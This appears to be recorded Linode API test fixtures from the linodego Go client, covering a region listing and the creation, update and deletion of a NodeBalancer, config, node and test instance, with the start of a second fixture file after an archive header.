"core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 31}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:22:40 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":1136777}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers method: POST response: body: '{"id": 1017181, "label": "go-test-def", "region": "ap-west", "hostname": "172-232-87-223.ip.linodeusercontent.com", "ipv4": "172.232.87.223", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "337" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:22:41 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"port":80,"protocol":"http","algorithm":"roundrobin","check_interval":60}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/1017181/configs method: POST response: body: '{"id": 1680025, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": 1017181, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "439" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:22:41 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-y238par15m5r","root_pass":"^M8b7\\5:^dF/xB}3418:O#d6/QW\u003cCr57^aI$W8,He8\\vRxv0Tc02u:N7rEjmY@Uh","image":"linode/debian9","firewall_id":1136777,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 66622225, "label": "go-test-ins-y238par15m5r", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.50.44"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "7c02d8248cd598c0fbe8286e88e0299137474f35", "has_user_data": false, "placement_group": null, "disk_encryption": "disabled", "lke_cluster_id": null, "capabilities": ["SMTP Enabled"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:22:42 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "5" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"ipv4","public":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/66622225/ips method: POST response: body: '{"address": "192.168.133.220", "gateway": null, "subnet_mask": "255.255.128.0", "prefix": 17, "type": "ipv4", "public": false, "rdns": null, "linode_id": 66622225, "region": "ap-west", "vpc_nat_1_1": null, "reserved": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "224" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:22:42 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"address":"192.168.133.220:8080","label":"go-node-test-def","weight":10,"mode":"accept"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/1017181/configs/1680025/nodes method: POST response: body: '{"id": 2077580832, "address": "192.168.133.220:8080", "label": "go-node-test-def", "status": "Unknown", "weight": 10, "mode": "accept", "config_id": 1680025, "nodebalancer_id": 1017181}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "185" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:22:42 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-node-test-def_r","weight":100,"mode":"drain"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/1017181/configs/1680025/nodes/2077580832 method: PUT response: body: '{"id": 2077580832, "address": "192.168.133.220:8080", "label": "go-node-test-def_r", "status": "Unknown", "weight": 100, "mode": "drain", "config_id": 1680025, "nodebalancer_id": 1017181}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "187" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:22:43 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/1017181/configs/1680025/nodes/2077580832 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:22:43 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/66622225 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:22:45 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/1017181/configs/1680025 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:22:45 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/1017181 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:22:45 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestNodeBalancerNode_UpdateInstance.yaml000066400000000000000000000763141474652371000343560ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", 